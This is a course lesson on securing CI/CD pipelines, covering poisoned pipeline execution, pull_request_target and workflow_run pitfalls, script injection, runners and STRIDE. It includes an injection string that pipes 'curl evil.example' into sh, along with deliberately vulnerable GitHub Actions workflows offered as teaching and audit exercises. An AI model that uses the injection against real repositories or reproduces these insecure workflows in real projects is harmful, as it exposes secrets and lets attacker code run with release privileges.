Threat modelling the pipeline itself

The pipeline is a target

Why the pipeline is the control point made the pipeline the place where security checks run. That makes the pipeline itself valuable to an attacker. A CI/CD system typically holds:

• secrets for cloud accounts, registries and package publishing
• a token that can write to the repository
• the ability to build artifacts that will be trusted and deployed

An attacker who controls a pipeline does not need to find a bug in your application. They can ship their own code through your release process, with your signature on it. Every incident in the course orientation worked this way.

The OWASP Top 10 CI/CD Security Risks

OWASP maintains a list of the ten most significant CI/CD risks. Learn the names: they give you a shared vocabulary for reviews and threat models.

By the end of the course, your pipeline will have a control for each row.

Poisoned pipeline execution

Poisoned pipeline execution (PPE) is the most important CI-specific attack. It happens when an attacker gets their code or input to run inside a pipeline that holds privileges they do not have. Three forms:

• Direct PPE: the attacker edits the workflow file itself in a branch or fork, and the platform runs the edited version with secrets.
• Indirect PPE: the workflow file is safe, but it runs something the attacker controls: a Makefile, a test, an npm install script or a build configuration from the pull request.
• Public PPE: the same, triggered by anyone through a pull request on a public repository.

GitHub’s default pull_request trigger limits the damage for forks: runs from forks get a read-only token and no secrets. Two triggers deliberately do not.

pull_request_target

pull_request_target runs in the context of the base repository, with its secrets and a token that can write. It exists for jobs such as labelling or commenting on pull requests, which need write access but never need to run the pull request’s code.

The danger is checking out the pull request and running anything from it:

# DANGEROUS: untrusted code runs with the base repository's secrets
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<full-sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test   # install scripts and tests come from the fork

In November 2025 GitHub changed pull_request_target so that the workflow file and the checkout reference always come from the repository’s default branch, effective December 8, 2025. That closes one route (an old, vulnerable workflow lingering on another branch), but it cannot stop a default-branch workflow from choosing to run fork code. That decision is yours.

Rule: in pull_request_target and workflow_run, never build, install, test or execute anything from the pull request.

workflow_run

workflow_run starts a privileged workflow after another workflow finishes, often to post results from an unprivileged pull request build. The trap is trusting what the first run produced: downloading its artifacts and executing or unzipping them into a trusted location. Treat artifacts from a pull request run as untrusted input.

Script injection

Expressions inside ${{ }} are expanded into the script before the shell sees it. Anything a stranger can type becomes code:

# VULNERABLE: a title like  a"; curl evil.example | sh; echo "  runs
- run: echo "Checking ${{ github.event.pull_request.title }}"

# SAFE: the shell treats the variable's value as data
- env:
    TITLE: ${{ github.event.pull_request.title }}
  run: echo "Checking $TITLE"

Untrusted fields include pull request titles and bodies, branch names, issue titles, comment bodies, commit messages and author names. The Ultralytics and Nx incidents both started with exactly this pattern.

Runners and third-party actions

Self-hosted runners run on your machines, inside your network. On a public repository, anyone who opens a pull request may get code running there, and a runner that is not rebuilt after each job keeps whatever was left behind. Use GitHub-hosted runners for public repositories, and make self-hosted runners ephemeral (one job, then destroyed) for private ones.

Third-party actions run with the job’s token and secrets. A tag such as @v4 can be moved by whoever controls the action, which is how the tj-actions compromise spread. Pin to a full commit SHA, keep the list of allowed actions short, and review an action’s code before adding it.

A STRIDE pass over a pipeline

STRIDE is a checklist of six threat types. Walk it over each part of the pipeline and turn every threat into a control:

 developer ──push──▶ repository ──trigger──▶ runner ──publish──▶ registry ──deploy──▶ cloud
              (PRs, forks)        (workflows,      (secrets,         (images,          (OIDC role,
                                   rulesets)        token)            signatures)       environments)

Write the table for your own pipeline. A threat with no control in the last two columns is your next piece of work.

name: release
on:
  pull_request_target:
  push:
    branches: [main]

permissions: write-all

jobs:
  build:
    runs-on: self-hosted
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - name: Announce
        run: echo "Building ${{ github.event.pull_request.title }}"
      - run: make build
      - uses: some-org/deploy-to-cloud@main
        with:
          aws-access-key-id: ${{ secrets.AWS_ACCESS_KEY_ID }}
          aws-secret-access-key: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

pip install zizmor
# Save the workflow above as release.yml, then:
zizmor release.yml